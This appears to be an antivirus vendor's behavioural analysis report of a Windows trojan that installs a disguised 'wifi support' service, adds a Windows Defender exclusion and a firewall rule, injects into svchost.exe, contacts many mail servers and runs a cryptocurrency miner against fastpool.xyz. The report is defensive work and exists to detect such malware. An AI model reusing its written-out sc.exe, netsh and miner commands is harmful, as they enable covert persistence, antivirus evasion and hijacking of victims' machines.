Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\apathtmt] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\apathtmt] 'ImagePath' = '%WINDIR%\SysWOW64\apathtmt\icnpcwed.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\apathtmt] 'ImagePath' = '%WINDIR%\SysWOW64\apathtmt\icnpcwed.exe'
Creates the following services
- 'apathtmt' %WINDIR%\SysWOW64\apathtmt\icnpcwed.exe /d"<Full path to file>"
- 'apathtmt' %WINDIR%\SysWOW64\apathtmt\icnpcwed.exe
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\apathtmt' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\icnpcwed.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\icnpcwed.exe to %WINDIR%\syswow64\apathtmt\icnpcwed.exe
Deletes itself.
Network activity
Connects to
- 'mi##########m.mail.protection.outlook.com':25
- 'mx#.#######ancis.com.gslb.pphosted.com':25
- 'mx#######005.gslb.pphosted.com':25
- 'mx###.##.everycloudtech.com':25
- 'me.##letu.it':25
- 'lo########eers.ogame.gameforge.com':443
- 'in###gram.com':443
- 'so####2.sohu.com':25
- 'mx#.####te.mail2world.com':25
- 'cx#.##.#.cloudfilter.net':25
- 'mx#######d01.gslb.pphosted.com':25
- 'mx#######101.gslb.pphosted.com':25
- 'ma##.ebtnet.net':25
- 'mx#######e02.gslb.pphosted.com':25
- 'mx#######301.gslb.pphosted.com':25
- 'id.##mbler.ru':443
- 'eu#.###.#rotection.outlook.com':25
- 'mx#.#aver.com':25
- 'mx.#p.pl':25
- 'sm###.#ail.medcity.net':25
- 'we##.####.mx.exch081.serverdata.net':25
- 'mx##.##il.icloud.com':25
- 'cd###.safenext.cn':25
- 'eb#y.ca':443
- 'mx.####o.locaweb.com.br':25
- 'r-####6.korea.com':25
- 'mx##.#lackberry.com':25
- 'mx#.ovh.net':25
- 'ma####an01.nch.com':25
- 'alt1.aspmx.l.google.com':25
- 'ma###.qlc.co.in':25
- 'pa####x.above.com':25
- 'mx#.qq.com':25
- 'mx######c9b01.pphosted.com':25
- 'us#######nbound-2.mimecast.com':25
- '12#####.mxmail.netease.com':25
- '17#.#05.166.231':25
- 'mx#.###291-32.iphmx.com':25
- 'mx#.##provmx.com':25
- 'ma###.#ellvilleisd.org':25
- 'mx#######801.gslb.pphosted.com':25
- 'mx.##bwitch.com':25
- 'ye######.mxmail.netease.com':25
- 'fa###ook.com':443
- 'mx#.#ate.com':25
- 'mx.##s.untd.com':25
- 'mx####.##il.gm0.yahoodns.net':25
- 'al######x-vip1.prodigy.net':25
- 'mx#######601.gslb.pphosted.com':25
- 'mx#######a01.gslb.pphosted.com':25
- 'mx######-com.icoremail.net':25
- 'ff######x-vip1.prodigy.net':25
- 'mx.######mail.rediff.akadns.net':25
- 'mx.##.#tinternet.com':25
- 'mx#######501.gslb.pphosted.com':25
- 'fa###ool.xyz':10060
- 'alt2.aspmx.l.google.com':25
- 'mx#######c01.gslb.pphosted.com':25
- 'cu#######1.in.mailcontrol.com':25
- 'mx#######201.gslb.pphosted.com':25
- 'ma##.#-email.net':25
- '17#.#13.115.158':481
- 'sv####lfheim.top':443
- 'al######x-vip2.prodigy.net':25
- '17#.#13.115.154':417
- 'ff######x-vip2.prodigy.net':25
- 'mx.###m.kgslb.com':25
- 'mx.########e.prod.cloud.synchronoss.net':25
- 'mx#######b01.gslb.pphosted.com':25
- 'bs####.btcloud.nl':25
- 'mx######bde01.pphosted.com':25
- 'google.com':80
- '17#.#13.115.157':417
- '17#.#13.115.156':417
- '80.#6.75.4':417
- 'pu######3.mail2world.com':25
- '17#.#13.115.155':417
- '17#.#13.115.153':417
- 'mx#.##ailsrvr.com':25
- 'mx######91d01.pphosted.com':25
- 'mx#######702.gslb.pphosted.com':25
- 'mx#######401.gslb.pphosted.com':25
- 'mx#######701.gslb.pphosted.com':25
- 'mx#######d04.gslb.pphosted.com':25
- 'mx####-1.sscinc.com':25
- 'mx##.###us-vadesecure.net':25
- 'in#.#nbox.com':25
TCP
HTTP GET requests
- http://www.google.com/
Other
- 'sv####lfheim.top':443
- 'mx#.#aver.com':25
- 'eu#.###.#rotection.outlook.com':25
- 'id.##mbler.ru':443
- 'ma##.ebtnet.net':25
- 'in###gram.com':443
- 'lo########eers.ogame.gameforge.com':443
- 'mx###.##.everycloudtech.com':25
- 'ye######.mxmail.netease.com':25
- 'mx######-com.icoremail.net':25
- 'cd###.safenext.cn':25
- '17#.#05.166.231':25
- 'mx#.###291-32.iphmx.com':25
- 'us#######nbound-2.mimecast.com':25
- '12#####.mxmail.netease.com':25
- 'mx#.qq.com':25
- 'ma###.qlc.co.in':25
- 'alt1.aspmx.l.google.com':25
- 'mx#.ovh.net':25
- 'fa###ook.com':443
- 'pa####x.above.com':25
- 'pu######3.mail2world.com':25
- 'ff######x-vip2.prodigy.net':25
- '17#.#13.115.155':417
- 'ma##.#-email.net':25
- 'fa###ool.xyz':10060
- 'alt2.aspmx.l.google.com':25
- 'mx.######mail.rediff.akadns.net':25
- 'al######x-vip2.prodigy.net':25
- 'ff######x-vip1.prodigy.net':25
- 'mx#######601.gslb.pphosted.com':25
- 'al######x-vip1.prodigy.net':25
- 'eb#y.ca':443
- 'mx#.##provmx.com':25
- 'mx####.##il.gm0.yahoodns.net':25
- 'mx.###m.kgslb.com':25
- '80.#6.75.4':417
- '17#.#13.115.157':417
- '17#.#13.115.156':417
- '17#.#13.115.153':417
- '17#.#13.115.154':417
- 'mx######bde01.pphosted.com':25
- 'bs####.btcloud.nl':25
- '17#.#13.115.158':481
- 'mx.##.#tinternet.com':25
- 'in#.#nbox.com':25
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK ca###dev.com
- DNS ASK mx###.##.everycloudtech.com
- DNS ASK te##tu.it
- DNS ASK me.##letu.it
- DNS ASK ge####ldynamics.com
- DNS ASK al###ate.com
- DNS ASK mx#######005.gslb.pphosted.com
- DNS ASK cd###.safenext.cn
- DNS ASK si###ags.com
- DNS ASK lo########eers.ogame.gameforge.com
- DNS ASK mx.##bwitch.com
- DNS ASK co#.net
- DNS ASK cx#.##.#.cloudfilter.net
- DNS ASK cs.com
- DNS ASK ye##.net
- DNS ASK ye######.mxmail.netease.com
- DNS ASK cr###alcg.com
- DNS ASK sa####rancis.com
- DNS ASK we###tch.com
- DNS ASK cb##.com
- DNS ASK mx#.#######ancis.com.gslb.pphosted.com
- DNS ASK mx#######101.gslb.pphosted.com
- DNS ASK no####meloans.com
- DNS ASK mx#######301.gslb.pphosted.com
- DNS ASK kc#.com
- DNS ASK pr##era.com
- DNS ASK mx#######e02.gslb.pphosted.com
- DNS ASK eb##et.net
- DNS ASK ma##.ebtnet.net
- DNS ASK so####2.sohu.com
- DNS ASK wi###slive.com
- DNS ASK in###gram.com
- DNS ASK sm###.#ail.medcity.net
- DNS ASK ew#y.dk
- DNS ASK pc##bus.org
- DNS ASK mx#######d01.gslb.pphosted.com
- DNS ASK ex##te.it
- DNS ASK mx#.####te.mail2world.com
- DNS ASK so##.com
- DNS ASK pr###erinc.com
- DNS ASK me####alhealth.com
- DNS ASK pi###corp.com
- DNS ASK al#####ncehealth.org
- DNS ASK ma###.#ellvilleisd.org
- DNS ASK mi###man.com
- DNS ASK bo##.com
- DNS ASK alt1.aspmx.l.google.com
- DNS ASK nc#.com
- DNS ASK ma####an01.nch.com
- DNS ASK fi####ducinema.com
- DNS ASK mx#.ovh.net
- DNS ASK hm###dia.com
- DNS ASK ma###.qlc.co.in
- DNS ASK vi##o.com
- DNS ASK r-####6.korea.com
- DNS ASK gl##o.com
- DNS ASK mx.####o.locaweb.com.br
- DNS ASK eb#y.ca
- DNS ASK fi##13.com
- DNS ASK me.com
- DNS ASK mx##.##il.icloud.com
- DNS ASK mx##.#lackberry.com
- DNS ASK ko##a.com
- DNS ASK am##en.com
- DNS ASK mx#######801.gslb.pphosted.com
- DNS ASK hi##o.com
- DNS ASK br###ecom.com
- DNS ASK mx#.##provmx.com
- DNS ASK si###ail.com
- DNS ASK de###tte.com
- DNS ASK mx#.###291-32.iphmx.com
- DNS ASK ey##.com
- DNS ASK qq.com
- DNS ASK be####lleisd.org
- DNS ASK mx#.qq.com
- DNS ASK 12#.com
- DNS ASK fi####erchants.com
- DNS ASK us#######nbound-2.mimecast.com
- DNS ASK ga###isors.com
- DNS ASK mx######c9b01.pphosted.com
- DNS ASK gl#####tresources.com
- DNS ASK we##.####.mx.exch081.serverdata.net
- DNS ASK 12#####.mxmail.netease.com
- DNS ASK eb###nfosys.com
- DNS ASK eb#######ys.com.1.arsmtp.com
- DNS ASK wo####et.att.com
- DNS ASK id.##mbler.ru
- DNS ASK eu#.###.#rotection.outlook.com
- DNS ASK mx.######mail.rediff.akadns.net
- DNS ASK at#.net
- DNS ASK ff######x-vip1.prodigy.net
- DNS ASK ch##a.com
- DNS ASK mx######-com.icoremail.net
- DNS ASK he####estire.com
- DNS ASK mx#######a01.gslb.pphosted.com
- DNS ASK 23#.###.112.82.in-addr.arpa
- DNS ASK ea###link.net
- DNS ASK al######x-vip2.prodigy.net
- DNS ASK al######x-vip1.prodigy.net
- DNS ASK ve##zon.net
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK ju##.com
- DNS ASK mx.##s.untd.com
- DNS ASK bt###ernet.com
- DNS ASK mx.##.#tinternet.com
- DNS ASK mx#######601.gslb.pphosted.com
- DNS ASK lu###zol.com
- DNS ASK sb###obal.net
- DNS ASK fa###ool.xyz
- DNS ASK ds###cats.com
- DNS ASK 23#.###.#12.82.dnsbl.sorbs.net
- DNS ASK av#.net
- DNS ASK ma##.#-email.net
- DNS ASK 23#.###.#12.82.bl.spamcop.net
- DNS ASK tn#.com
- DNS ASK mx#######201.gslb.pphosted.com
- DNS ASK mt#.com
- DNS ASK be###outh.net
- DNS ASK mx##.###us-vadesecure.net
- DNS ASK sv####lfheim.top
- DNS ASK cu#######1.in.mailcontrol.com
- DNS ASK 23#.###.##2.82.sbl-xbl.spamhaus.org
- DNS ASK bh##met.com
- DNS ASK 23#.###.#12.82.cbl.abuseat.org
- DNS ASK alt2.aspmx.l.google.com
- DNS ASK am###trade.com
- DNS ASK mx#######501.gslb.pphosted.com
- DNS ASK mx#######c01.gslb.pphosted.com
- DNS ASK 23#.###.#12.82.zen.spamhaus.org
- DNS ASK re###fmail.com
- DNS ASK na##.com
- DNS ASK op###line.net
- DNS ASK ma###world.com
- DNS ASK pu######3.mail2world.com
- DNS ASK pa##ell.net
- DNS ASK ff######x-vip2.prodigy.net
- DNS ASK sw##ll.net
- DNS ASK mi##s.com
- DNS ASK bs####.btcloud.nl
- DNS ASK mx#######b01.gslb.pphosted.com
- DNS ASK mx.########e.prod.cloud.synchronoss.net
- DNS ASK fa###ook.com
- DNS ASK wp.pl
- DNS ASK mx.#p.pl
- DNS ASK na##r.com
- DNS ASK mx#.#aver.com
- DNS ASK ne##ero.com
- DNS ASK li#e.fr
- DNS ASK mp###orld.us
- DNS ASK wa##art.com
- DNS ASK pa####x.above.com
- DNS ASK re###rof.com
- DNS ASK be##buy.com
- DNS ASK mx#.#ate.com
- DNS ASK mx.###m.kgslb.com
- DNS ASK ss##nc.com
- DNS ASK mx####-1.sscinc.com
- DNS ASK su###erica.com
- DNS ASK mx#######d04.gslb.pphosted.com
- DNS ASK pb##.com
- DNS ASK mx#######701.gslb.pphosted.com
- DNS ASK ri###bed.com
- DNS ASK ha##ail.net
- DNS ASK mx#######401.gslb.pphosted.com
- DNS ASK mx#######702.gslb.pphosted.com
- DNS ASK at#.com
- DNS ASK mx######91d01.pphosted.com
- DNS ASK pr###aver.net
- DNS ASK mx#.##ailsrvr.com
- DNS ASK google.com
- DNS ASK th###rtford.com
- DNS ASK mx######bde01.pphosted.com
- DNS ASK pr##.com
- DNS ASK in##x.com
- DNS ASK in#.#nbox.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\apathtmt\icnpcwed.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\apathtmt\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\icnpcwed.exe" %WINDIR%\SysWOW64\apathtmt\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create apathtmt binPath= "%WINDIR%\SysWOW64\apathtmt\icnpcwed.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description apathtmt "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start apathtmt' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\apathtmt\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\icnpcwed.exe" %WINDIR%\SysWOW64\apathtmt\
- '%WINDIR%\syswow64\sc.exe' create apathtmt binPath= "%WINDIR%\SysWOW64\apathtmt\icnpcwed.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description apathtmt "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start apathtmt
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half